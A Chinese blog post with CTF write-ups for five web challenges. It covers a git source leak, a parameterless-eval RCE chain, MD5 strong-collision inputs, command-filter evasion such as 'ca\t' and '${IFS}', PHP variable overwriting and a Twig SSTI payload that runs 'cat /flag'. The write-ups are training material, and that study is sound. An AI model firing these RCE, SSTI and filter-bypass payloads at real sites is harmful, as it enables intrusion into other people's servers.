• 渗透测试练习题解析 4(CTF web)


    1、[GXYCTF2019]禁止套娃 1

    考点:git 泄露

    进入靶场后只有一串文字,源代码、抓包之类的都没有敏感信息出现,直接用 kali 的 dirsearch 扫描

    发现存在 .git 目录,猜测应该是源码泄露,使用 GitHack 扒一下源码,这里我试了很多次,前面都没成功,后面不知道为什么又成功了,应该是网络问题(你们试了不行多试几次吧!)

    1. include "flag.php";
    2. echo "flag在哪里呢?
      "
      ;
    3. if(isset($_GET['exp'])){
    4. if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    5. if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    6. if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    7. // echo $_GET['exp'];
    8. @eval($_GET['exp']);
    9. }
    10. else{
    11. die("还差一点哦!");
    12. }
    13. }
    14. else{
    15. die("再好好想想!");
    16. }
    17. }
    18. else{
    19. die("还想读flag,臭弟弟!");
    20. }
    21. }
    22. // highlight_file(__FILE__);
    23. ?>

    【代码审计】

    这条 if 语句把 PHP 伪协议、filter 协议、data 协议,给过滤掉了

    这里其实是无参数 REC 的特征

    无参数读文件和RCE总结 - 知乎 (zhihu.com)

    无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

    这里使用 preg_replace 替换匹配到的字符为空,匹配字母和下划线,然后 (?R)? 这个意思为递归整个匹配模式

    所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有 ' ; '

    【举个例子】

            a(b(c())); 可以使用,但是 a('b') 或者 a('b','c') 这种含有参数的都不能使用,所以我们要使用无参数的函数进行文件读取或者命令执行

    【解题思路一】

            正常的可以用 ?exp=print_r(scandir('.')); 来查看当前目录所有文件名,但是 scandir('.') 包含参数了,不符合条件,所以需要使用别的函数来替代 '.' 。

    【第一步】

    如何构造这个 . 我们可以使用 localeconv () 函数

    localeconv () 返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

    【第二步】

    获取 localeconv () 的第一项(也就是那个 .)

    可以使用 current () ,该函数返回数组的单元,默认取第一个值

    pos () 是 current () 的别名,也可以用来获取第一个值,reset () 该函数也是返回数组第一个单元的值,如果数组为空则返回 FALSE

    构造 payload

    ?exp=print_r(scandir(pos(localeconv())));

    ?exp=print_r(scandir(reset(localeconv())));

    ?exp=print_r(scandir(current(localeconv())));

    三个都试试,一个被过滤了用另一个,获取点的方法也有很多,比如 chr(49) 也是一个点,里面的 49 可以用函数替代,比如 time () 等等。

    由数组的结构可以看出 flag.php 在数组的倒数第二个,我们需要想办法获取

    可以使用 array_reverse () 把数组的位置换一下

    ?exp=print_r(array_reverse(scandir(current(localeconv()))));

    flag.php 从倒数第二个变到第二个了,接下来就可以使用 next () 函数来获取该元素。next () 输出数组中的当前元素和下一个元素的值,当前元素是 index.php ,下一个元素也就是 flag.php 

    最后就差一个读取文件的函数了,可以读取文件的函数有 readfile ()、highlight_file () 、file_get_contents () 等。通过代码我们看到已经给我们提供了 highlight_file () 函数了,直接用它就好了。

    构造 payload

    ?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

    注意: print_r 在这里就不要了,这里我们需要直接读取文件, print_r 的作用只是打印数组的结构,然我们更直观看到 flag.php 在数组中的位置

    【解题思路二】

            上面的正则过滤中,并没有过滤掉 session_id () 。所以我们可以使用 session_id () 来获取 flag。session_id () 可以用来获取 / 设置当前会话 ID,我们在使用 session_id () 的时候,需要使用 session_start () 来开启 session 会话

    PHPSESSID 是什么?-晓白博客网 (xbnb.cn)

    payload:

    ?exp=highlight_file(session_id(session_start()));

    然后抓包,在最后一行添加

    cookie:PHPSESSID=flag.php

    发送即可在响应处获得 flag

    2、[安洵杯 2019]easy_web 1

    考点:编码转换 + 代码审计 + MD5强碰撞

    进入靶场,看到 URL 有 cmd 参数,猜测是命令注入漏洞

    尝试无果,应该是方向错了,然后发现后面有一串 base64 编码的字符串,去解个码,base64 解码两次得到十六进制字符串

    再进行十六进制转ASCII

    在线16进制字符串转ASCII码工具 - 在线工具网 (hiofd.com)

    是一张图片,我们试试把 flag.php 编码成上面的格式,得到 

    TmpZMll6WXhOamN5WlRjd05qZzNNQT09

    访问后得到这个页面,显示 no flag,不过思路这样应该是对的

    flag.php 不行就试试其他的,比如 index.php 这些

    TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

    这个其实挺难想到的,开始我也没想到,看了大佬 wp 才知道,因为前面有个地方干扰到我了,这一串我前面试了很多又是解码又是转图片转文件都没解出来,我以为这个位置的数据没什么用,导致后面没去理这块地方(没猜错的话应该是这个熊猫图的编码,不过不知道为什么转码转不出来)

    回归正题

    1. error_reporting(E_ALL || ~ E_NOTICE);
    2. header('content-type:text/html;charset=utf-8');
    3. $cmd = $_GET['cmd'];
    4. if (!isset($_GET['img']) || !isset($_GET['cmd']))
    5. header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    6. $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    7. $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    8. if (preg_match("/flag/i", $file)) {
    9. echo '';
    10. die("xixi~ no flag");
    11. } else {
    12. $txt = base64_encode(file_get_contents($file));
    13. echo "";
    14. echo "
      "
      ;
    15. }
    16. echo $cmd;
    17. echo "
      "
      ;
    18. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    19. echo("forbid ~");
    20. echo "
      "
      ;
    21. } else {
    22. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    23. echo `$cmd`;
    24. } else {
    25. echo ("md5 is funny ~");
    26. }
    27. }
    28. ?>

    【代码审计】

    对 img 的值先转十六进制再进行两类 base64 编码,前面我们已经分析过了

    正则过了 URL ,然后过滤掉 flag (大小写不敏感)

    如果符合条件就把数据打印出来

    就是这里,前面没有源码我们只能猜测,现在有源码一切都清楚了

    下面的代码把 cmd 一些常用的命令过滤掉了

    下面代码的意思是 a,b 两个变量的值不同,但是经过 MD5 加密后值强比较要相同,这个百度一下就可以了

    md5强比较的几种绕过,强碰撞,shal强比较的几种绕过,强碰撞-CSDN博客

    这里因为转为了 string 所以要使用强碰撞绕过,不能使用数组绕过

    抓包这里搞死了,我弄了好久不知道为什么都不行,get 改成 post 也不行,一直显示 md5 is funny ~ 后来去小破站看了大佬的讲解视频才解决,先使用浏览器的工具 HackBar 或者 Max HackBar 都可以,在传的时候进行抓包就可以解决这个问题了

    这里帮大家找了两个,直接用就可以了

    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

    打开 Max HackBar 在 Execution 的时候进行抓包,就不需要手动修改传参方式,前面应该是这里的问题,导致我一直无法成功,但是会发现之前传 a、b 值里的 % 变成了 %25 ,被转码了

    我们只需要重新传 a、b 的值就好了

    发现已经绕过 MD5 了

    接下来就是使用 cmd 命令来获取 flag ,由于 cmd 大部分命令被过滤了,我们不能直接使用,比如 ls 我们可以使用 l\s 来绕过,注意在 Burp 中 空格 要用 %20 来代替

    发现 flag,用命令获取

    ca\t%20/flag

    3、[BJDCTF2020]Mark loves cat 1

    考点:git 泄露 + 变量覆盖

    进入靶场,页面和源码没什么提示,很接近实战的题目,那就直接用 dirsearch 扫目录,发现存在 .git 目录,猜测是 git 泄露

    使用 GitHack 提取源码,我在 kali 的 GitHack 提了半天,没开玩笑,我快哭了,后面直接换 window 提出来了。。。。。。

    flag.php 内容

    1. $flag = file_get_contents('/flag');

    index.php 拉倒最后就可以看到 PHP 代码了

    1. include 'flag.php';
    2. $yds = "dog";
    3. $is = "cat";
    4. $handsome = 'yds';
    5. foreach($_POST as $x => $y){
    6. $$x = $y;
    7. }
    8. foreach($_GET as $x => $y){
    9. $$x = $$y;
    10. }
    11. foreach($_GET as $x => $y){
    12. if($_GET['flag'] === $x && $x !== 'flag'){
    13. exit($handsome);
    14. }
    15. }
    16. if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    17. exit($yds);
    18. }
    19. if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    20. exit($is);
    21. }
    22. echo "the flag is: ".$flag;

    【代码审计】

    存在 flag.php 文件,但是直接访问是得不到的,应该是被过滤了,我们往下分析代码

    foreach () 语句将遍历数组 array,每次循环时,将当前数组中的值赋给 value (或者 key 和 value),同时,数组指针向后移动知道遍历结束。使用 foreach 语句时,数组指针将自动被重置,所以不需要手动设置指针位置

    foreach 有两种语法

    语法一:

    1. $abc = array("porsche","nba","volvo");
    2. foreach($abc as $key)
    3. echo "$key.
      "
      ;
    4. ?>
    5. //结果
    6. /*
    7. porsche
    8. nba
    9. volvo
    10. */

    语法二:

    1. $age=array("kali"=>"12,"ruoc"=>"56","yuy"=>"57");
    2. foreach($age as $x=>$a_value){
    3. echo "key=" . $x . ", value=" . $a_value;
    4. echo "
      ";
    5. }
    6. ?>
    7. //结果
    8. /*
    9. key= kali , value= 12
    10. key= ruoc , value= 56
    11. key= yuy , value= 57
    12. */

    意思就是传入的 POST 值会经过这里,比如传入 flag=flag,得到 $x=flag,$y=flag,经过下面的代码后变成

    x=>$flag;" role="presentation" style="text-align: center; position: relative;">x=>$flag;
    x = $y 就变成 $flag = flag

    传入的 GET 值会经过这里,比如传入 is=flag,得到 $x=is,$y=flag,经过下面的代码,变成 $is=$flag

    ($x 保存的是键名,$y 保存的是键值,不理解的看看上面 foreach 语法的方法二)

    这里的意思是要你传入 flag 变量,且变量值不能为 flag

    exit () PHP内置函数,用于输出消息并终止当前脚本

    要满足 POST 和 GET 方法的参数 flag 都不存在才会执行代码块

    满足 POST 或者 GET 方法的参数 flag=flag,才会执行 exit()

    由最后一行我们可以知道 flag 变量里面保存的是 flag 值

    其实本题的做法就是构造变量值,经过前面 foreach 的操作使 exit 中的参数变成变量 $flag(也就是变量覆盖),使其满足三个 if 条件中的一个,从而执行 $flag 得到 flag,而不是说要绕过三个 if ,去执行最后一行代码,这是不现实的。

    演示三种方法

    一、使其满足下图的 if 条件

    构造 payload

    ?handsome=flag&flag=handsome

    构造完先经过下图代码后再经过上图代码

    $x=handsome $y=flag  =>  $handsome=$flag,这样就实现了变量覆盖

    当轮到下图代码的时候

    $x=handsome $y=flag

    flag=handsome=$x

    所以:flag=handsome && handsome !== 'flag' 满足条件

    二、使其满足下图的 if 条件

    这里要求不存在 flag 参数,那就比较好办

    直接构造

    ?yds=flag

    三、使其满足下图的 if 条件

    配合这块代码

    构造 payload

    ?is=flag&flag=flag

    经过 foreach 后变成 $is=$flag,又因为 flag=flag 满足 if 条件,所以 exit($is) 变成 exit($flag) 得到 flag

    打开源代码拉倒最后就可以看到了

    4、[BJDCTF2020]Cookie is so stable 1

    考点:模板注入(Twig 模块)

    【SSTI 测试流程图】

    可以通过这个流程图去测试,判断是什么类型的模版注入

    【解题思路】

    进入靶场,输入框谁便输入,发现都原样输出了,猜测是 SSTI 模版注入,接下来我们需要判断是什么类型的模版注入,输入 {{7*'7'}},返回结果是 49

    根据流程图我们可以判断出使用的是 Twig 模块

    Twig 模块注入有固定的格式

    1. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

    Twig 模板注入从零到一 - 先知社区 (aliyun.com)

    _self 是 Twig 中的全局变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI

    【上述方法只在 Twig 1.x 中适用,因为在 Twig 2.x 和 3.x 中 _self 的作用发生了变化,只能返回当前实例名字符串】

    我们抓包看一下注入点在哪

    发现 cookie 中存在 user 且内容是我们输入的内容,猜测注入点在那里(题目其实也提醒我们了),重新抓包测试一下

    flag 的位置需要我们猜,不过这题比较简单,直接就出来了

    flag{1fb7c1b8-7fcb-4691-9623-6d8fcd46f976}

    5、[WUSTCTF2020]朴实无华 1

    考点:目录扫描 + 响应头 + 代码审计 + 命令注入 + 一些绕过技巧的考察

    访问看看

    F12 查看一下数据包情况,发现 fl4g.php

    访问看一下

    1. header('Content-type:text/html;charset=utf-8');
    2. error_reporting(0);
    3. highlight_file(__file__);
    4. //level 1
    5. if (isset($_GET['num'])){
    6. $num = $_GET['num'];
    7. if(intval($num) < 2020 && intval($num + 1) > 2021){
    8. echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.
      "
      ;
    9. }else{
    10. die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    11. }
    12. }else{
    13. die("鍘婚潪娲插惂");
    14. }
    15. //level 2
    16. if (isset($_GET['md5'])){
    17. $md5=$_GET['md5'];
    18. if ($md5==md5($md5))
    19. echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.
      "
      ;
    20. else
    21. die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
    22. }else{
    23. die("鍘婚潪娲插惂");
    24. }
    25. //get flag
    26. if (isset($_GET['get_flag'])){
    27. $get_flag = $_GET['get_flag'];
    28. if(!strstr($get_flag," ")){
    29. $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
    30. echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.
      "
      ;
    31. system($get_flag);
    32. }else{
    33. die("蹇埌闈炴床浜�");
    34. }
    35. }else{
    36. die("鍘婚潪娲插惂");
    37. }
    38. ?>

    intval() 函数用于获取变量的整数值。

    这一部分是判断 num 的值,要 num 的值取整后小于 2020 且加一后 大于 2021

    这一部分判断变量 $md5 ,要满足变量 md5 的值经过 md5 加密后与原来相同(弱比较)

    strstr() 函数搜索字符串在另一字符串中的第一次出现。

    【举个例子】

    1. echo strstr("I love Shanghai!","v");
    2. ?>

    运行结果:

    str_ireplace() 函数替换字符串中的一些字符(不区分大小写)

    【举个例子】

    把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "Shanghai"

    1. echo str_ireplace("WORLD","Shanghai","Hello world!");
    2. ?>

    运行结果:

    所以上面代码的大概意思是用 GET 方法获取 get_flag 的值然后传给变量 $get_flag,使用 strstr () 函数寻找字符串中空格首次出现的位置,如果不存在空格则返回 false ,但是由于前面有个取反符号,所以不存在空格才是符合条件的。进入循环后,使用 str_ireplace () 函数将 $get_flag 中的 cat 替换成 wctf2020 ,然后调用 system () 函数

    【解题思路】

    绕过第一部分的 intval ,intval 函数参数填入科学计数法的字符串,会以 e 前面的数组作为返回值而对于科学计数法 + 数字则会返回字符串类型(只适用 php 7.0 以下的版本)

    所以我们构造一个科学计数法的值,payload:'1e4'

    1e4 = 10000

    所以 intval('1e4') = 1 ;intval('1e4' + 1) = 10001

    接下来要绕过 md5 那一部分,

    0e 开头的字符串在参与比较时,会被当做科学计数法,结果转换为 0,所以我们只需要找到一个科学数,然后进过 md5 加密后仍然是以 0e 开头的即可

    0e215962017

    md5(0e215962017) = 0e291242476940776845150308577824

    所以

    0e215962017 = 0e291242476940776845150308577824

    比较过程变成

    0 = 0

    构造 payload

    ?num=1e4&md5=0e215962017

    根据打印结果我们可以判断出我们确实绕过了前两个条件

    接着构造 system 执行命令,查看目录

    /fl4g.php?num=1e4&md5=0e215962017&get_flag=ls

    由于 cat 被过滤了,无法直接查看目标文件,我们可以加转义字符来绕过

    但是又不能出现空格,所以我们还需要绕过空格 ${IFS}$9,接下来就可以读取我们的 flag 了

    /fl4g.php?num=1e4&md5=0e215962017&get_flag=ca\t${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

  • 相关阅读:
    Python图像处理丨带你认识图像量化处理及局部马赛克特效
    牛客 -------- 合并二叉树
    BI系统打包Docker镜像及部署的技术难度和实现
    google搜索技巧——程序员推荐
    2.1.3 运算放大器的参数以及选型、静态、交流技术指标
    软考 - 标准化与知识产权基础知识
    使用Pytorch手写ViT — VisionTransformer
    顺序表的基本操作
    使用拦截器来检测用户的登录状态
    javaEE初阶---linux
  • 原文地址:https://blog.csdn.net/2301_79218813/article/details/136136822